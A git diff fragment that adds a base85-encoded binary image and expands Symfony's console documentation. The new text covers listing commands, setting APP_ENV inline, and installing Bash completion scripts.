z9R|<6{c_qX+xxp`C5Xv#{pLotA7A7stR-jtACKH1P5n`Xq}3*&sNWE$$Z@n;_f}_U
zkehJ*alCK$HY@L)QH!hN<kapRp8G*#HNhw8E!|&5R0AifE>5!Ny1&Up`AvBQ{m%d0
zy{mF&Fzt5!yNIS|PlQr|Jih)<nPktF?%9*M5|O`ExU26Ar3woz_5OZO@}ED!DJ%{3
z{-|%!KX6i2Tp=<%eOT7>)ARMq;DtlWj=7#gugt6UgZi_cD3)Kfn~EFws{VZq+DDP9
zN*{?|BZeh=k0l?6xH5}gjOQ|+R2C_HlWg$DO%`hZF2G$6%8OopOzr(suB!aQtl{!g
zOYh(M*UASDqF2jvy{Bz`%7?xUS8Km}&w6pU$63+qO`5**QB{?b)Q0P?l6@D`uT}n(
zi2nO-)_1wkr*hiT@b9N@-_;kK%K4D!&2ehq^*2@3%ejV|zb$?L4qvNYZ;RqC=K5|<
z`&4g!H{kyL?!(>SQ~^RPKmh~Y#e!I2csy7<5g5J<7GDJh*2aR3U<8k_1U4{2CoG{S
zjA(HEZU_t#YD<&=BX)fXiL@my$C7BT6Qgd!r(t9qPf25J$riBWmtV*{2gna$lq)tA
zr!Xj?-Tpr;^llMV0xK135w*zX3ioez8Wnch$UGWt_B)S?iVTbHI2GMJCBN%gL>J2L
z>c>u>ut^ug&QMTvCx@M}ev_t}ovF8os*C+LaENk({Wf!me1)C$u!!Ub`)%?N(Iq>K
zf`gERgPoOwgQu87go9J2m{Wy=OS_oMh=co4G53G8V=<2>2XDat(vHP^2^{<x#ry>v
z0{>6#xKJ$og+t_9vB<4<JS`Tz;SjskjuhK}wE%HehkY$LDU4IH+=i51T~gcOJA*o}
zP>GaH$<})~uOA-o?a?fBdxg7SCSe;kj|3w*6(aM%^Zl?m2RHz*Uw{c10C(VaEgt~V
z@FGExw+>KL`o9iP_SOMvNd9jMs3oKPUje9QsH|~cMcY7C%S27bOhfOXrje1Bfw{Kv
zeH{~HU85(uW+r;ZR{9T34NPqeEgl#>u)Y7}p^5o3)2ELg*qJ|k;{3?L;_)*}^QUeW
z&Q_KP>nC;|R<{(;-Nwez%jOmYKDTvr4RCS~atd&C4tj?0e2EBtc8dUAy<T~QB0P~U
zUIAfVXgBZRNS|=`{~*99&wy9A2+%Vy=6P^vOmLjniv;fwR6^)2|4Z{nWd@+LZ|z^u
zt@Qg3@GE_lP!{@M+Sip_jZDd}{g3F&E=$d=NUKGq*P(9xUT$k-UU6N1Nkc(dV@cJU
zvYPhF`p)Xc?%L+w#<qd>-tn%!$?n1Ty~7{+M?VgZ&E1l`nZ?c7#qGJJo%xlo^Pj)1
zZSDW($Nc~M5aE#SC>v=?R1_vUCN?fUAu%aAB{eNQBQq;ICpRy@pb%SBTvA$AUXe*D
zZ4)h6+0fY3+|v4{t-YhO>uq;@J&LbqaOi)EI-3Wqre;3Q&dq;XSo~-uw6wbRWqo6F
zYf6ZGdw1{qkNt!FZ$FQYPk#UTdwO<$ad~z9?*<3plQ8QxVh8@eIXJUwtMTTt$xJba
z|9k7-e|kFg|1Sr3+xll*qW^z7xV4ElHH-h-!PPFeAm;wJgY&{|`_PnpLt9z@;w!x;
z8S`t+-u~dGXJ=@Dx2J{Vo~crY?Z#-P6mvbdh3T`gJ(5NS-^lmrV0S45RjF1O?0udx
z`mQhfPA&{Z*hn=*7{?(I)qSlXHHt#amaDZec)Zj~;Bz0F-z#P&$<eT*DC+#kEwA$)
zg?LwBeFgn7T^K>*ysa<e@j15DVYdKs#tuICv?sm(?~l_F@o?Z%HMRI64dX^}YyU(3
zVr#CIfv8-!biOe{^m^6Z6~s_>Bm+M^xL=#$h4j$?0J2Tijb!@4O~^pscpMgj@@oQ^
zxEqftn4}$xbivY%pu#w|NDPM1wNV^NX0Zbsqi~Wsn#A3W8q;23r=-Os-`@S4^^-<*
zKuY4GlE#W)a1uSoSkY0r?Pn-s7w(Lx`P*K0ndTxS1IES0DU&gj!7@o><$Q|$sS>|#
znyL}1+?j*I3qLc>DtWJ1^2M@UB8LtA1mIH2H%30l(mZrW-RT9SqQ#>GLKHRJ2_bzw
zfpO(1Wc69bSKP5BU=n(87Up5#$vbwZk;Rl>TUs;FwYtc4g0QMctrHDvXfASX!O$v3
z+eN|d*2QNDOdiyJ@LWVP<bYzw8lx0YJRy=kRJB|OtXrP#B>^wEDl<auvp}-;MQe3e
zjC}M=R^3M&98TdiW3L?@H;0PdH8&by?Wk-FuC7C+MUbh7BzWwOcKNca_Ia1j5j!za
z?N|{nX-Z>lY}zV>F!b4H2`2uQfnO7`NnvHV1rbw(>0)#w*pDc4DAxxa$>LTH0ZxwN
zzKc-Q_x>oXtd!4VQlVd@pggJpuE|%>N|@ypGH(Q9J5?RiR<*)E7G->#46%<=mf^6L
ze1-X<?2r%n@>0+~Ap$?o4zv+c!7leX8axnF?MG_g4s%qR*8L{SS{y-{AjbD*SLIK<
z?uwhLxiqf>_%|HN!IfEp|MWq3_I~3B8Lt79yWJR`qV2uy){?K7CovOEYHxo=b=8T#
zFyKHEFh*`N^~>Pw{P0PeEnv>K{ePmmxPA9-R>e2b=hK8ogHKKR0YUoaS7+;_cv481
zI_b^j*1ApT;hsh~-VCxDZ9(~x?d8*J)=iajhAk2n2U<>nM|k+!M=U#%g$HSm-)a~i
zIn~65I}IN(^L3+dugOuA3PX`p88gg@RN!AEUSNsaS8|u}DMtY(L`sf0Lf{~-hhkHy
zqpm^0L2elDNJ}gs4XNiS_k`3fXy{jG5;+fZabP7zLyZrv*&+UpCY4j`i!OQ0tUW#v
z0x=|FBOaS%3#HLH)!LszQ2CRUB>2z>Yum!eoc2&>r*fFbJ;&kvR(6>H{}_~{)F**<
z_$`cKywX_WDai~_y~5k7ul^O6k`Y4{3<c@m&pAn}G$<2zJU;QL>m<D~u1v^TZ_;w*
zB%@=hOeAo8(&lcNQ#M4K?Uj5C^-?66A_sw(YLkIIwRRAuzyD4%@7>V{LpjO)rV{!5
ziGEchxgUWF4x3h1&j}9o!sTrg*qeD-oL2|GIe~Mp<c%itnBuRd1h>Yd$o3{RJ3fmK
zVSCXZ=EHaOMvj+)>5B?9R%v`gwkckmfB)cBB&iDFzW=(C0UM-GOhsup+=^FL7_KlT
z{qw=JB2(!H)Rwb)zg<}=l$%R8f=o}J`oV=tHAGQwCik0pVu|ZS*$-?Cz6-WoZ~lRb
zOw&L`@&t|j;5@H{$9IEhob8YFYU#R)jH*i42M(sk4>-h*T?{xCnIZyWT6N@XT~rln
z;v=j17}lip-e!ZX*|io#gCUwj3fw(1>ByjQF^K0}y2li^kdAvzT@<7mMs`nZ39)JY
zOey+J0yo4nI;JtHB>hH#bossZR@2acd-IPwmJ#DlR$pJxG0kvCw_nCTO7nkgA1@cZ
zN@&+O$!K3|%<!gkARW{G;`1m>uT^XH;8~JJxa0DXlvZuJt&w5$RDob`J~!%FG}04L
z<-v6GpxzFtX%56ZX+6CbGMe)ER5U{iQ(HQH8(r!7IpwMwSO}!LR0hA~lo6L%nocWc
zVsQyE9{x)5)2CVkjN4u*>HJPo>{WR0*P@kr2l2a6?^wCCD9QnOZD;}&=Rzad)1-}4
z4s{=w>rZIC+D@%ix@I~aYxI5<<Rc5-P#L~AhjC`EnUh!`H0>}!nG>_0o@kG%++d%7
z*9%q<YZks<B6t{Qoj#S=^|!<amk^@zJf`y%NgCT(f8Nm5&xVP`ulYDBIU7-GuUCDp
z5_qrEope^0M*6xoQkaeh;P(PUI%2I)GIj^}&`0V~TsvsvH#_p$smW+ZhdaV)I>Z7T
z*)~BB^IF_e#I?O+JzBTiZ7N6RyqZGu?{d;gzGcuvbj6lTOAt3LAs_LoC!A2j=#}#^
z`zxc1*m9}Y!MJ@LgZmkYr^|1M#WQv9Hg6_|F>{IBbD1_aXii;=Bx)b3i#G5)aoFHF
zQy8r~yoZr!IPh%m-ZlL7;`7y)^Xc~9v-iJ3uddbs%8q^_qazg4D*vc~kwipQboU>Q
z%`wMkNYlV0Q-oyB+yU4=$on|m)|Zj3LKDhob8MV6N6YkKWZas=$f@<3ic|E0L!^58
zHf8w!CSw)Hf+WC(s7o|OB?jzlGw(Ih$O{-2=&+c~noy^;B3Gu>muLQ*=stkTs;0am
zBgv^?)4&>bT`nA(`A00ggP)F1dz^p!t%3dV-2zuJzi)QB{(w)}cejbd-iTF#{@ZsZ
zElp&<=Pz9L;hkC?mYS1<*sngJcJ9sI)w!EHS_<Am2ksqiMh^}6{Kr342U>>Q@4KX^
zP8hFw{L0llIj1MPSmn>iOto3j%3@XM&0p2`uIV`wpEQ-eIJg)0n2cPqt^Cq6kh!c$
z^m4z}8eSE--6FTtYAX-M&ot{b^qBuS8Kh>OMOGXlP(=eW?D3n@duv_qj{owrSJ9(C
z(Lt&m+DzM%+W#&GgI|jq#A4oU^}YEcD;zcWIspi^804vZ_8JA#I@uL!9MtqLfBlk<
z;LDuO<(cJ<I_IeA^MgCK1tm7_C(iK|wp+V8la8TTk6qL?r2Y^f_6T01j!+vBVjm=2
z5B{RwHR7x{KUuQ}*eF5}!7};@#&XuSVybek5=){Fw(a*mp&HmBxW6bBNu|;UHVeFt
z(SV~Bk2A;KD~kZgt{KzzZUm-8PF&mnpw*q?k!&K&-rm9CUAp~tx_!xly-yYy%V}hM
ziM*$|9LCr_*2_K~8fgp2yud(8c%r_mJ7%G!1LeXT@Wp)~4%XZd6yI~lZwyZ|+{A(q
z`&0y<ydf!z4~>&l?fiphHI&oKo$oI|obIYD%|<xiwKgM+eKN+AJtp3UAba{v`L0B)
zFCn~POcfFEtjApSK@bFsfw)V==0W1VHzQaapOKcv4lhB(ca<fKV;A{&0|Ug~Woi7l
zi*p$-H?wwfH>iknPqNng<A8AFWNrj>!>t$`G&2?;y#a3P=mfJgSCXW}1}DbOyDpb}
z2}8E7rVo<3MqT5uNj?(p&Dz>AGYO~}{;@D_68R+1ceim9k0_|yzYdqB4jFz^777bT
z6B##&cf_`~HdyF$yN@XcuqT35#N#_8fwUxIop)sQ+&64JC(Kgwk)Zlb0_ktWidA<s
z<smxD<iB{*j2Y5R<<lQnq(2HyH_uMD>`b>>PPe&8w`It%|4v1*DCr6fUFi2p!e-q2
zXwdH!<4{G)zxxtlLCXG^c((LGXqvZ_cV=EvX3|Ecw>(4K5rMxRgYB_TB{mDKha*<!
zg$Ql=KZOd}HO6c4LYS6(RnMYS)!EC!w3LPknGp9sv>8#_+w|DE-N`oj7Qy08CzA6$
z;1V9>R3T0GFu+D9=jj-0o;>lsT5i{JRt`Ma$3D2jnc^vo&;gByfHCYwLHg)|JtTxD
zWQ9HuTSUon%5k_@nHrT>2;7wksclClwI^J{URtQXc;ozNjOayY6l706KgHJWSTA<4
ziufxXl63C@txx_qRj3v{@zB@8k6)kM><AQKq>8^r>=z;3y<`ZNI2`0C!Ig!$C>7G`
z*Z6WdS+;g}Tno=!h^0~?v`CvsVwkR1aBqqO^$Nrc|CzuKagVQIbxUHDsW>cr49nJG
zN9BvW#-gR<Y_}uOU$`VQZSB;u9>*~hCwR#<70K}j6bqjS`Jf@;az)M+GR9GnQVa5=
zPO8?nGSSG=4M)4Ypt75!s8D)=kSvG~1QX*G9lPPcNnde$;x&jNE~{j(kc)Me1hh|L
z6(p1+o8pT33b|wy=P)th`tg*l(Ngv-6YAx0w&k!f!bky#IV0ufxsyW%0!9*7@X<Nn
zRn__-!oN$%?OSX@PDKV3^s7>vBAV%05&?!i@y%WIU6%r<KT)i~nw>GuFpC6bE*7I=
z2y-W-v#lnVgc1_%$`Py!d{49iCyN!QM8lI&NRRk=$cM}1g&(-;Az11Gynd@%UpYH<
zBdLD3OaI;l%y69imuuQj%ZAez4d*!xmt76lD-Ac74FFRko?;{TNh6^f<+ETWXBRSP
zyO&pRW4cu4OmJ4ujQ8h>%zNxv&?ltSq<pkBq=Jv{-0Ny8Im&W}X4{`((_FHPva>yO
zUY|$>Q2UsgFW#4HFQe@8H9Tpibfaqh?%zJ1^Jd)G<y|gU0HlLIfd38ixJJujIpJW7
zOlNk*uspASalv?J-g}0UcbC|&@-Z>CL5ZlK;difMk)<EUYs{KoKKWW;^6=5S#}D5T
zBmQQ`HT%3YE(`8U%CA0iN6&`@=M;J|@ILJ?>_G?PzL&%zaj%zmv8MA8YkKy;N-gDa
z(ao8~009#H#FDvMgrcMKI}zcsv%mC=0Ci9yXAFe<5^Wlz#jlUmlq+Icdex3-i)_hN
zUMXe*mGTXtLut^ekYep0F)F%fMeUL-2LT?MZi64C>Ud>QdrcPVWx8%<7LrB6qs2oY
zg*-^7ZcI5#QF(Myk1u_XwX6NN*r(J^z3B3YhK~gF8?1?Ar7smMLm8REUUXEMR~A)P
zVJ4WcIgaKFJ*{qb+0|`yCe{5}u|ww1LY(4iV&Xg>IWLT<q_;hL;7oXkf)r1bHoCGL
z$<;8~*NDp{c2y@FROZY&Q4Hs}U5`Pgs;Sl)Q#@O7uH7<q92ZFees$E@b)OV{L7k4n
z0uU1<A+K)=*FNOi3hBMP;fCS*E?~rn?A~w2h9=_?v%C?@?h&ii5u57~Tjo)FrBO$#
zQKyhmMBXTi0E8u%`F4fSy=v6%<0$22Qzy2G6V;?1_O7u19rWJ2Iz=+hTv~KDal~o^
zPi(VUMRV48vo;-*5~*MHxW9D!eVH161d&-_CZs-i+()+6N`X~moKiKnSuNLwSo#gc
z!&Y`~?y~N&0pg~IZh5VlZ`}LyrlUJ-NJDUM3qk}7Vq|ST$(O$+o*Jnr@P7FMFe!Y$
z`(pijo8M&H@>i#+xGCD(#P?Xsh_@v-3`N`>xQ?vYSJbTo39$|ZcwtV}mX}qXfL-U9
zPtou8PULA(?8da*%dxARE}5aOO(KGZn#ra~NJ~v^rhcrbtF7FNSUn81dtairrdNNs
zTgx?q%rQb!VPra2E;hBd?lZys+Z@}Vo;Y}~<ydsk1V+I%fuICK%HI2O3BCWeJYEj-
zoe2|cHW#Gd{P%N3+j+&sWaT`%>R(M8O<pwKK}4Qh^<$oRBBv@Pl6az`{<mZOv9N0L
zR(P3fd$qo5Uq`IIbv*QHpo3}<L~QcrMGa54iuh{H$5Zu`yRHK7d0@-QYC90d?}_7=
zl#;bcvnxr@>V{rO4Y|J`s`%zQPqL)Kk9!wCGaOU*+;ny6Dsm)Ac{$B`IpfuGR{nBM
z&vM?{a>2i4tZ*}wW@YCtAi4prWQioXYVu|#{tPDd<fndi#B7CSH}WAonk0N-H&Si5
z!p;IJS%ZYddB2dyyx64-6(YB>1rZt-v=o7e8)aU2uRaz77S`VMzJf?J@(oyL1y~VV
zHpYX)K8#_dK}iH4W5CHv#Yi3G2qVPOlt8oADz?DPGi$M8+3~e4Enmk0E$e3+TvEHO
z4dW9RjydtziM;NK;9b+|<km(qQ^GH-szMXk?pDFCt@OZ~ACQT7fPnIE07?fW<R^%e
zUjLI1k=Ou_nP*J|Pd>?=t<J;+&C?P{@waI{qZn0^n!OfusHw*Q9bJ!K&2-n9juiNO
z4v8{tr@5ZG?Wt5L*nag^=e67W>wJQta7f!FbIC`b%E9BE;d;|HcqL;!GPn9G^G8GK
z=?LlRjIwEP)~k50u1~X_xuhQoYl@=bAH=Lx4x@x_i6N_5S95ers3yVfP2z|)=)*Bv
zRVo2F^n0TAI^)dei?t8@0^53qp$e%_TXW|n(B0D`-ElKBa=&Mi{6EHsb;pUJdtP?8
z<}y#jI!hsl3+V~s5+GIRE&dx$jt#)5zamqm2VpaF&7s6)sPM+E?8RQMicH@g6Npp0
z_Z7XIl<-`VwEfSTgI`RzKEp?I=>nqiNT8pKP&#R!W!kZ)9&-DET!~umjp`fQn-`26
zUuNu2>axp!F&~GjzO$+t3;VRD`zgluQz_$s$HGH$W+l211Vi`0>Rx}GF+K?r_>849
zh7;1-vO|!En%Cls@oRtnfhvE3ach#C2Ja?S2q$J2x=$C11F9sIhF5c3UiUy=S}(jJ
zAC4kVLDgx%dVJMtBiqD>vs{N~R<z<~^!%eg^KTtzO+d<<4~sy*ioCE7?i;M<|F!x>
z&TLC)%XVt5dg}P})amspqVUwU@6>($)Dw5=^;EjWP^?WDV$|?i0FO8$Avln29VVU0
zMK>GpiveB$@qLQ>9M(}MlR{_@4c#y~=h!$SvmuUpdgktR_O|XU(fA_zwMXpwdDPK4
z56^`w-I?;}>a;N7jPRPXjy^jMQq8vJVj2@GaU1zVh@?DOB#-#gPT+UxRw-KYspl$)
zO&nq?^7j+a+i<m@EY&K?)&87#a&1+D@v8RzS_7NHz%Q<$_3IHf&^t<|@xJT6lS`GO
z>ozu1@8@6k>b@MjAN|F$&N8&G*#4!L15efA=}6%r9|gqN9gQXqk3!pqgDgPk#~Am=
z7EyxksHn&k42P(@G@2s01QUaf0}(iJpz+bPj`k|(C*et@WwG&z$*Jj?n4I?T{KBG+
zvGIw?srR_)5C1c<U0PoG{K?oJ!|YxkZcOWpe$?MRvAK=T8V#q#n6xDyvAG<ct@liw
zUoL3jaldDh^NyOxcSxo9(&$L|PZ(eBaFZRiD&e|1)>QH?5vCCXwy-tM@G5OKh7W0z
z<`VuT6n1ooVJK6hU!GE=O?_`*mc{57CR@#wn;I2LJ?Qm3$@q4<@ioMW)@34H_~~h!
zezkypcDSpA7Ofv2d;PKY|4eMR^@rfx?_spbt+ubkDxEV3k#rk_v18oR8j3pq$gdL&
zv!yIflZ)LlXSN7Y-o!7MmnCec=xR)Qa|540{ScQLuT5^*;xKk7;;bUn-iG`6xx;t=
zOZ*sLE}uyw^$!=S?B^S%RC6sl8Bhk7k>wy)l|A|2VXFy5&hpm^e@y0R6jW)Ig@66t
zo2z-6*b8D8k%vBD<tmRnn!`&TSAC$`+5PoGdLiy5x}R>t#2RXfLQ>nwl83qXx3jVT
zT|3JS9ET$|crcF18!*!9IT(jolk-+IUwI{mv@{<QAXTtdCnO*tLm?xE$+0Dlj_=Jm
znIKRfe0A{?$H|244PU~i9j)i~$&X?35W-z!V^d{)35Kr;QDozsl177al(Z@<nC)aM
z4jP^`(`L0YqsKAl11X8E@|aA)Z&kYmA@!L<?Cb@f2+W)l@EjzZ$#60E?9a9EI8Az!
zPAX8P%o89wr@SGOQdxE%gmfwjqgx#AvshWt5k8@ft!(yoDR+0*x2cE<S=p`Y_*T7N
z-+lUHzoDN{@St({uG>M=7>}S3k(1Q^f$o&T=h|kprl9bfC8wI7ZL0zMKifAV1rIxR
zGTaV3_sVMyyAIm+58ob*3jXT;v*7lt=lomEuiop^{a<|mk<d{;n9jXXl94R<Xpl^{
z+Zhm*V;2`JO)4U+iQ4#kM^Y_8if!Oo<8TD$b`s+@(S)&*{&>tZ3PT@fBNsEVYjyi#
z*md@Fxo92WdW`m9%ir&#FdGuDDMY9A!6cl&2}bW(59~;A%;WylQ5J9fh#(-;gqPAY
zazW>m9+gx%NZ7_IV<?TuHn@qz@cHy|)jT$}B%TBs?qoRAF@W$MgNuyt19E?oeD;jR
z51b{M6my*GP>PSgD-l-%s+TS*CK=i8=O7iP4|t<5h^Ey@;uEJ?e8AJ;*h?DKa-&Ym
zH0ZT8{ymOuDvX91ZZtuMYN68p+Cz@gV!V|%V-y&3<54;8c#{@(HI+bFrgyx3*RbBd
z_*_g2yxSA9&va&$*|+C3b^pw{ZKZHzls;8?wQ5Em?cYjyqQZ3CqILt5uOwn{orwU2
ziiUWaYAiVNsA7T|EHz(5$<MGCpD;VJ9gXSzP}iY)uY?oxE8T+~=%&4m9PcM~KR4MK
zzU8ghO&=pW^mA%j3W`!Y*FNGerpzXh!B!yBE&7y~h`nm2+nP!%$Si*O?;%((n86x4
zg~9|txCF$NOsqc9R16R0BjDs)Ndtz>a$4&BNzg}*L)4<`f-)iEaSmx)_jummOG@=q
zrvUa_k-8X|g)P)^)!xLQxrxGVgj-Dho_XF!e)0)nfoIv)#|h2i^>JECqT;0H)Kodt
z5^;Bo&K-6J9kS>zwMiAO2icuC6Qrz82#Fynk>DtO^~w_(J9xOzddZMUNLf7B#51nY
z<%!3xTXB@O1vNsx7|AWotVwveM07UVuMwt(V*`dnNVz(0KEZ>bQqdBRG_o}IBDf7s
zCY{ZrF+SAAX$c173QR-UqU`q4JlPd)KgJm!WsIfb&mku`==k_xVbDYQuk0OAR!z(x
z@E+g6<}PEw6Z1hl>W74i@396}=4s?iYXcfOn+8c7s1hgU5uId{*`!CQ<SUar+JXUm
z_rhrzSNP{4sYNWfZgtO*Fru3Rs{BX^MCI2DUN}CFF_D~|b4e02OfhFB(9{nKwcY?`
zk<Ge6hOb-ro`uH=pd>^7)(Cqq|GjJX2$3d@2SV(#x2-(XOp~fdD1#Y(Oh|U7Y}JPn
zV5QSD->YFCl8TTHVr$WhpdMZowi;Ygm1CQksR2fXKH52uf=ka4fiN98hL&lDV@gHd
z*peXNav^llPbfC-3)EKM)K5evu-cOa1;e4{-Vv5CDZyXI!{p{0F{%rd?NKmeg-6o4
z!bi_Q93vxMvAOD&O0r$<{dJ6iikK8jy3(a|O%P!tUavtW`DnU6Q_m#fE@}}Z8ehec
zboFE<JB+l)Pt=c2E=D@O$^bsgzkYB*0R+a82MNqN?Pin<RgG)eSDWR0aV#U1&l-63
z)(m|As)15>iny&V%i#fvtVzNT>d@i%Z@8bDuVc601|A))Y=W{(+RRvI(u~WbCY1D3
zOCylOW0*Q(zN1|{x-sOPgp0CrWVmb?A)g7q2shaIQ4Ym?@TN?8&KxZcRiEf7@=4yl
zXRg&B<X{3Ha?h}O#>uJvkX|y|=t%@wYO*~#lEb4^8?>wckkl+^R#MDv!Y-0~igQJ<
zwV3Wb!UbOUF)5+7lsBKrP5B;IM#0@O+4tX#{!=4K@upJ8@P}#c<$R^lo9f5!e>{47
z`KdACO|7%xzUAl3g^uYr^?~pAZLTgC`zhKQqYMx1nXZ<`jM|zr-yb+BUM<fgw6#_k
z{&anEwX!tb*4F<1zr~Lm6zv`F3=e&BuU7xNee?b>;O*7gQNsWGz!rBqvAy1a-0v8q
zn?8zEyxxQ+b`0|x9mhPm-lG4|F)BNKobd8`8%EhVrek!Hl6$?wcfWJu@$|_GbmJ=+
z4hD%}!`0v$MByF%Fk4n%b}3H$wqtn_WGE(kQHlBvJ(vt@=O;4*qbBPgndNNq1Hl0B
zH0*L-&l`{t!$RCEFFz4C`Kv3jP?@lW&v-urLxR>g-4?Y!uNy%){MHzR&F_EdYzllM
zDfBa{;{p~W7DGI&OwB(NtXnP?Kb(kn6vn2s+%!!#rnm-1XZ6E`UPI`OZ=k%o12CB+
zKPx#_ssgqV(1Rne4APd+9rADQUg4$24Dj21MrqB=@9eg9Jw&TdXLvVz^Yo3_4a10z
z=C88k>&TI7sGKeO|LE)NpOQ=vIR5Y=J`!wHc8a)(>4}|or(3>viEAy0wnN>{ZlyCz
zw|A!nn3pLaXitDXC~A<Yyrq<;qGs5R1qe#MtbnPko0%`OOWW>9ySEojSJ~>0$J`%q
zzkmON?|i?XkLU6cDLr%#k>Eu{rbF7b+|M^8p2H+-rp)`I3dM*x{DET*6CR3KOLuPu
zyBaHAPmK_lzN`8*DpB;RofSMp17A#GUQS_NQA+<cD7x^VY6wyF{3!(MAvbV2V=W=l
zcS)RrjAHU(7^K(*T1sU$72IzJ65k54=8=RF*7-n0loy%2Q|wTbLvJrTOD;d7pwR%5
zWV+;rBoZd%BtTN%rH3rZ>yV&8_vMdN(hjmzN|m@2;y6Bdd`-+@p`!Hy|2i2*<#Wgt
zfy{~=2#h9IM9Qj<^RW){R#oyMjiVO_#?;*Et}gIav*_3pba9N=uYZ9h9)yH?@mCr+
zlY%|S6zx>tOjAH2t9q{krhxDTu=XS<NyG3P)@4pbIdefAb+QI7sW}iUK^;KHJ20y$
zm7OJ(4!1<6=O6WnVwe?50`T=))b|uQE){P~1$$&*F})1Ql9>qgu&0I@TQ<2~^EL$x
zaZ5XWa>io)Jd8UQ+OSYmFE!S?Avs4ccc+41s;aa8ikfS^NG8h$WwjC``k4dsqqm~?
ziCpHZl`G_{_Zwv_)S9Ysjw#=qYJ~NCDLFt+6-g5iR0uTEz$26ZJn_n_SVaf0)%d*w
zV^!gHq$y#a;y-lo+xyC}=ZzfTN`y1DoCofQs^a*-n^wX5p+Py+1}9iWgSVYvp_Fb!
zFdd(CiZ{J@6;{A!QtC~{tI@KmtRA5QK+%c9xsc`#!nMEAnmbC6e-SiydK%`9O@CfO
zB~t};JQ+uUAQPoheiNeyw=M%&wO~<N%gdq`m!hc?YT+0WWJ3+d*V4(XbbFObJqnl5
zv;sFd39X!^W;h7Hv!^b&2gNoQMUyKt-Dss+C^J-i$OH5OAdx4UA!u%@cjTsGTXV2S
zytuv`=;M85ZwjTEYMfz7^DIPkG!^s{V2_#cUBs=@WCBuBR2usZ{sROK5_KGMoz$p?
z0hO#oCsFuyLApsn!wgjeQ?H*<={O3Q=uyts;zB&iN*b6AmC4t2H_|k7cAdl6#&Ner
z^TF9P&_-#83EF>x%qWu}9a3{xXfzA`cu~zUiiq~6$FcbB*xGOG`a@0(;-@l{OOu#`
z4RHZPtkwl-kHsQlmRbnTCesoElY^F~+*EnBWDS0Yrg}oqGAjcMQ&5;R@IYA5o6zfD
zQ&CUOb}XCmg_O1*g75^Y%D>c{dD1Zp+#<(9%yjHr;H`95QN$Cp%w7k&D}FQR1ARAm
z-N-z3^@0-+r){A?2KFBeaJLH+X}mF=&^4C^=38(HVL^h^{K$0eQ5aX=+kRNqjwB!p
zEWG)3k?^PX1z(rM-jvO_SR9BXF#|Yc^fV1%2N{Y^x0`5}I+<-S%b@Bt9MoJduf^@t
z`@>xWJcD{!NY^N)_59@&WwxtK;xX)A?qx4`b$I%u3Eg6BcM=2KN$8bQ`}dww5BK8I
zq2~1qNdK$gU}34{tYCnSO=ec?BCE7CK(U5ATPOwHWuT%irbw^{0&t4{8Q*O+W#Dn$
zZGKMKY{{LaFi91q?9{2=M~pjWis~j-i6#TPApJauT;&<lS`2Q*0Cj9@;D<0n62rg`
zi_WOq_6q|%23$P8h%oes{G#yS;Q{^BU}#^jn>D~cEsf6whb(%^3N7pIfTy(|XBNEM
zcja0bFCrIA*r?yf9{e}<PSR;~7O6UuboV^%?s5L$_4O|uOmX+Z?ftyH&d=1=r$dXt
zy=z@V`SLyQIeJ*FdlD4)mW}t``$7}p!aXqPAB~m%39gAea~}=ecYTV`FAe^kWD;kX
zr1_>Ap-HAS)eW2KS4@o?CI!iSHN$)@-`pZJtF&g#uvxcaZrd>HNtT-#md<=jm(bFq
zwe${K`u`ufY-`v~vW{g~C-SXd39SyT)irE=xMH2%u)0aM`3&2meA{FHg<N4<*4pyi
zwr^K#i@C)s!?y1>Y)><apY_>({Moh^SNwe1_VYCQ7gF(yZNSU8(N`PX*TT_veWNd?
zM}J%4ZjeS1@%F7;dw`XTvW^7x+XElk@jC9df{`8Z54Pt$*e&Aj;*1bET++jl_Y1fY
zxRJ;_ZdCo~@8h`?-Pkwx#^S@df7~3K``!2ltDJ)c<EgswbnEz`)$zld<J9m8KTr8c
z!Nf<R3A%2AVV%fZo%ncjf*C$};?U$L1(TnOCQtsauzmF5(Smq3o)!1`A$EL1<`<ji
i>d3^e3d7lK4~e~c&fpD5g0jySoZHSsv3G+&#(x3Uc;qVp

literal 0
HcmV?d00001

diff --git a/console.rst b/console.rst
index 9de02a4b882..9dd9cecddb4 100644
--- a/console.rst
+++ b/console.rst
@@ -9,15 +9,90 @@ The Symfony framework provides lots of commands through the ``bin/console`` scri
 created with the :doc:`Console component </components/console>`. You can also
 use it to create your own commands.
 
-The Console: APP_ENV & APP_DEBUG
----------------------------------
+Running Commands
+----------------
+
+Each Symfony application comes with a large set of commands. You can use
+the ``list`` command to view all available commands in the application:
+
+.. code-block:: terminal
+
+    $ php bin/console list
+    ...
+
+    Available commands:
+      about                                      Display information about the current project
+      completion                                 Dump the shell completion script
+      help                                       Display help for a command
+      list                                       List commands
+     assets
+      assets:install                             Install bundle's web assets under a public directory
+     cache
+      cache:clear                                Clear the cache
+    ...
+
+If you find the command you need, you can run it with the ``--help`` option
+to view the command's documentation:
+
+.. code-block:: terminal
+
+    $ php bin/console assets:install --help
+
+APP_ENV & APP_DEBUG
+~~~~~~~~~~~~~~~~~~~
 
 Console commands run in the :ref:`environment <config-dot-env>` defined in the ``APP_ENV``
 variable of the ``.env`` file, which is ``dev`` by default. It also reads the ``APP_DEBUG``
 value to turn "debug" mode on or off (it defaults to ``1``, which is on).
 
 To run the command in another environment or debug mode, edit the value of ``APP_ENV``
-and ``APP_DEBUG``.
+and ``APP_DEBUG``. You can also define this env vars when running the
+command, for instance:
+
+.. code-block:: terminal
+
+    # clears the cache for the prod environment
+    $ APP_ENV=prod php bin/console cache:clear
+
+.. _console-completion-setup:
+
+Console Completion
+~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 5.4
+
+    Console completion for Bash was introduced in Symfony 5.4.
+
+If you are using the Bash shell, you can install Symfony's completion
+script to get auto completion when typing commands in the terminal. All
+commands support name and option completion, and some can even complete
+values.
+
+.. image:: /_images/components/console/completion.gif
+
+First, make sure you installed and setup the "bash completion" package for
+your OS (typically named ``bash-completion``). Then, install the Symfony
+completion bash script *once* by running the ``completion`` command in a
+Symfony app installed on your computer:
+
+.. code-block:: terminal
+
+    $ php bin/console completion bash | sudo tee /etc/bash_completion.d/console-events-terminate
+    # after the installation, restart the shell
+
+Now you are all set to use the auto completion for all Symfony Console
+applications on your computer. By default, you can get a list of complete
+options by pressing the Tab key.
+
+.. tip::
+
+    Many PHP tools are built using the Symfony Console component (e.g.
+    Composer, PHPstan and Behat). If they are using version 5.4 or higher,
+    you can also install their completion script to enable console completion:
+
+    .. code-block:: terminal
+
+        $ php vendor/bin/phpstan completion bash | sudo tee /etc/bash_completion.d/phpstan
 
 Creating a Command
 ------------------
@@ -38,11 +113,6 @@ want a command to create a user::
         // the name of the command (the part after "bin/console")
